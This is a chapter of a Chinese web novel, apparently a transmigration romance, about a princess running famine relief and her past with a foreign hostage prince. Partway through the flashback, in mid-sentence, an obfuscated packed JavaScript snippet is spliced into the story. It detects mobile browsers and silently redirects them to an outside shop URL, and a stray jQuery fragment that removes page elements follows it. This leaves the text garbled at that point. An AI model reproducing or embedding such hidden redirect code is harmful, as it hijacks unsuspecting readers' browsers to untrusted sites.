楚明昭抬眼看向排着长队的百姓,停顿片刻,低声道:“实在不行,接下来几日,只得将粥熬稀一些,尽量拖上四五日,只要能拖住四五日,时间就够了。”
楚明昭转向沈知暮:“沈姑娘,我已命人在京中各处招募医者为西城受难的百姓义诊,只是人数恐怕远远不够,若是附近郡县有沈姑娘的同门,还请沈姑娘能请来相助,我必定有酬谢。”
“郡主言重了,我三日前已发出消息,召同门师兄弟前来援助,明后日应当会到来第一批人,也会有人送来救济的药材,治病救人是我们医者的天职,无需郡主酬谢。”沈知暮这一整日看到楚明昭条理分明、张弛有度的安排着一切赈灾事宜,心中对她已有改观,现在为西城百姓对她放低姿态、以礼相待,更是让她放下心中最后的芥蒂。
“沈姑娘和沈姑娘的同门皆是大义之人。”沈知暮的回答完全在楚明昭的意料之中,沈知暮可是女主,救治灾民怎么会要她的酬谢呢!
楚明昭对谢承昀道:“那表哥和沈姑娘自便,我再去核对下赈济事宜。”又转头看向南荣暻,向对方使了一个‘别在这当电灯泡了’的眼神,转身走了。
南荣暻看着沈知暮的目光落在谢承昀身上,半分没有注意到自己,看着沈知暮和谢承昀相伴离去的背影,眼底那片晦暗中透出些许失落,他收回视线,转身走向楚明昭的方向。
楚明昭坐在堆放赈济物资旁边的箱子上,南荣暻用带有几分审视的目光看着她,说道:“昭华郡主出现在这里,真是令人意外。”
楚明昭笑道:“应该没有比异国质子出现在这里更令人意外吧,本朝官府还未做出赈济措施,他国的质子却在这里救死扶伤。”
南荣暻眼底露出鄙夷之色,冷嗤道:“那说明大宣王朝的内里已经烂透了。”
“那怎么办呢?古往今来,还没有哪个王朝能彻底做到吏治清明,拥有越大的权力,就会滋生越多的欲望,而遗失最初的本心,人就是这样被欲望驱使的奴隶。”楚明昭说的轻描淡写而又直白。
南荣暻一顿,眼底神色有了些变化,他向前两步,靠在堆放的粮秣上,低声重复道:“人是被欲望驱使的奴隶。”继而玩味道:“那你怎么放任你的承昀表哥和他的心上人独处呢?”
楚明昭扬起下巴,目光落到南荣暻的脸上,想到眼前人最终走向的悲剧的结局,正是因为爱而不得和太过偏执的性格,楚明昭沉吟道:“每个人都有自己的缘法,太过执着于不属于自己的东西,会让自己陷入痛苦的深渊,只有懂得放下,才能有更多的选择和更广阔的人生。”
楚明昭的目光平静温和,声音轻缓温软,她的目光静静注视着南荣暻,让他生出一股不适之感。
南荣暻避开目光,冷声道:“昭华郡主拥有那么多东西,自然可以随意放下任何东西。”他再次对上楚明昭的眼睛,声音低沉缓慢:“可有很多人,没有那么幸运,如果他不用力抓住些什么,就会一无所有。”
南荣暻的眸色漆黑,如同头顶被浓墨浸染过的夜空,被乌云遮蔽,不见月光,也没半颗星子,他的眼底也是一片晦暗。
楚明昭神情微滞,有些后悔,这些话不该由她说,至少不应以当前的立场,她与南荣暻的处境天差地别,一个是身份尊贵荣宠一身的郡主,一个是忍辱负重如履薄冰的质子,如此情形下,她的这番话未免有些太过傲慢,让人觉得站着说话不腰疼。
楚明昭想到原书中他们二人的结局,低声道:“金尊玉贵之人未必会一生顺遂,命运多舛之人又岂知不会否极泰来。”她垂目似是沉思一番,继续道:“命运的转变也许就因某一次的选择而翻天覆地,人生总有求而不得,有时抓的越紧反而失去的越多,执之失度,必入邪路。”
南荣暻的表情有些微妙的变化,眸底划过几分诧异,楚明昭这番话,似乎是带有几分对他未来的担忧与告诫,南荣暻蹙眉,只觉得这个想法太过荒诞,他余光里看着楚明昭的身影,想到第一次见到她时的情景。
南荣暻七岁时以入朝授业的名义被送到大宣为质子,他来到大宣国时正值中秋节。走在大宣国皇宫长长的西阶上,脑中反复演练着见到大宣皇帝时应行之礼与应答之话。那条路他觉得很长很长,又觉得很短很短,但无论长短,他最终都走到了筵席上。几百张席位依次排开连成一片,几千盏宫灯将偌大的宴筵照得煌煌如昼,绣着繁复花纹的地毯铺满地面,目之所及,尽是繁华,然而他并没有多余的精力去欣赏眼前的盛景,他竭力克制着身体的颤抖,在大宣朝臣的注视下,被宫人引领到坐席。
片刻后,宫人传呼,皇帝步履从容地来到筵席,太后和皇后紧随其后,在司仪官的引领下,百官一起山呼万岁,在皇帝一声平身之后,众人重新回归席位。
南荣暻是第一次参加这样盛大的筵席,还是在一个完全陌生的异国,他脑中近乎一片空白,生怕一言一行出了丝毫差错,失了晏国的体统、又或是丢了性命。
宴筵不知进行了多久,一旁的使臣突然用手戳他的身体,他才知皇帝点他的名字,他立刻起身,按照已经练习过上百次的动作行礼跪拜,这些动作已经成为他的下意识反应,不需要经过思考便能做出。
皇帝说了什么他已记不清,南荣暻重新回到席位上时,反而放松下来,像是完成了这一天中最重要的任务,他这时才有闲暇抬眼看一眼大宣皇帝的龙颜。
皇帝端坐高台之上,他俯瞰着下方众人,目光所及之处给人一种无形的威压。突然,他笑着朝右边招手,只见坐在太后身旁一个粉雕玉琢的女娃娃站起来,她额间的抹额上镶着一颗龙眼大的东珠,发带上的金线闪着细碎的光,摇摇晃晃的扑向皇帝的怀抱,丝毫不惧怕这个令人望而生畏的帝王。
“昭儿,今日朝贡中你最喜欢哪个?舅舅送你做中秋节的礼物好不好……”皇帝满脸宠溺着征询着女娃娃的意见。
“这是昭华郡主,德宁长公主的女儿,可怜哦,去年的时候父母双亡了,听闻长公主和当今的大宣皇帝姐弟二人感情深厚,而长公主的驸马是当今大宣皇帝的伴读,后来入值翰林,成为天子近臣,深得皇帝信任,最后却因护驾而亡。”晏国使臣喝了口酒继续道:“所以这昭华郡主深受皇帝和太后的宠爱,郾京流传她是比公主还要尊贵的郡主。”
晏国使臣戳了一下南荣暻,“哎,殿下,这些都是我花了钱在郾京城中打听到的,以后你自己在这边定要谨言慎行,千万不要得罪不该得罪的人。”
宴会中场时,南荣暻看到一位嬷嬷抱起睡着的楚明昭,而楚明昭怀里抱着一颗拳头大小的夜明珠,跟随太后提前离去。
可怜么?南荣暻心想,她失去双亲,可她依然拥有那么多人的疼爱,又拥有那么尊贵的身份,享受着这世间的极高的尊荣,究竟哪里可怜了?
几日后晏国使臣离去,只给南荣暻留下两个奴仆和少得可怜的钱财。南荣暻留在大宣后,因他年龄太小,也为展现帝王仁德,皇上安排南荣暻与皇子公主们一同启蒙,也因此十岁之前南荣暻是居住在皇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754394|209494||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宫里。
南荣暻再次见到楚明昭的时候,是在麟趾殿,皇子公主们读书的地方。楚明昭并不是每日都来听讲,一个月能来个十几天,想来是皇上和太后对她的功课并不严苛。
南荣暻在麟趾殿里呆了大概半个月后,发现麟趾殿里的其他人不喜欢楚明昭,并且一起排挤她,但楚明昭似乎也不喜欢他们,她总是一个人待着,有时会在麟趾殿外的池水边,有时会在假山后,有时会在长廊坐凳栏杆处。
这让南荣暻心中生出几分同病相怜的感觉,在这麟趾殿里,他也是一个被排挤到边缘的人。南荣暻从小生活在被人欺辱,受人冷眼的冷宫中,过往的经验让他明白,他想要在这异国更好的活下去,必须找到一个可以依附的贵人,趋利避害的本能驱使着他去讨好楚明昭,而楚明昭的独处给了他接近的机会。
他的刻意接近并未得到楚明昭的回应,他不清楚是自己天生不招人喜欢,还是楚明昭的防备心太重。直到有一天,几个皇子公主又在挑衅楚明昭,一个白衣少年突然出现在楚明昭的身前,他只用几句话便将那几个皇子公主驱赶走,然后转身捏了捏楚明昭的脸蛋,十分熟稔的模样,楚明昭眼睛亮亮地盯着少年,脸上露出灿烂的笑容,他第一次看到楚明昭信任一个人的时候,原来是这个样子。
可如果只有像那个白衣少年一样,才能得到楚明昭的信任,那他大概是没有希望了,他一个自身难保的异国质子,怎么能替身份尊贵的郡主出头。虽然如此,但他依旧如往常一般,静默地守在楚明昭的身旁,只是每当那个白衣少年出现的时候,楚明昭便会绕在那少年的身旁,欢快而清脆嗓音不停地喊。
哥哥!哥哥!哥哥!
南荣暻听着头疼,像是脑子里有只乌鸦在叫。
直到某一天,也许是上天看到了他的诚意,楚明昭突然主动和他说话,“你为什么总是待在我身边。”
“因为其他人不喜欢我,他们会让我滚远一些,但你不会。”南荣暻故意卖惨。
“他们也不喜欢你?为什么?”
“可能因为我不是大宣国的人,所以他们不喜欢我吧。”
“可我是大宣国的人,他们也不喜欢我。”楚明昭困惑又委屈。
楚明昭不知道,可南荣暻知道,他早早便学会了看人脸色,揣摩他人心思,麟趾殿里的这些皇子公主都是正统帝嗣,楚明昭终究是个郡主,平日里却比他们更受皇帝和太后的宠爱,处处压他们一头,郾京城中更是传出比公主还要尊贵的郡主,他们心中自然嫉妒与不忿,又不能去找皇帝太后撒泼打滚,只能将怒火发泄到楚明昭身上。
南荣暻大概也能猜出楚明昭为什么不告诉皇上和太后,楚明昭陡然失去双亲,只怕每日都生活在惶恐不安中,皇帝是她的舅舅不是她的父亲,太后是她的外祖母,却不只是她一个人的外祖母,小孩子之间的打闹大人通常不会放在心上,楚明昭去告状,其他人无非是得到几声训斥,而他们并不会因为几声训斥就停止欺凌,小孩子的恶意有时候并不会比成年人少,但楚明昭总不能次次去告状,时间久了恐惹人厌烦,那她在这世间最后的倚仗也就没有了。
自从他们有了第一次对话,楚明昭似乎开始接纳他,随着时间的推移,楚明昭逐渐习惯了他的陪伴,有时还会给他带些糕点,但大多时只是安静地坐着,楚明昭有时会一直看着他,每当这个时候,他总觉得楚明昭似乎想对他说什么。
但他们这样和谐的关系一直持续到两年后的某一天,突然终结。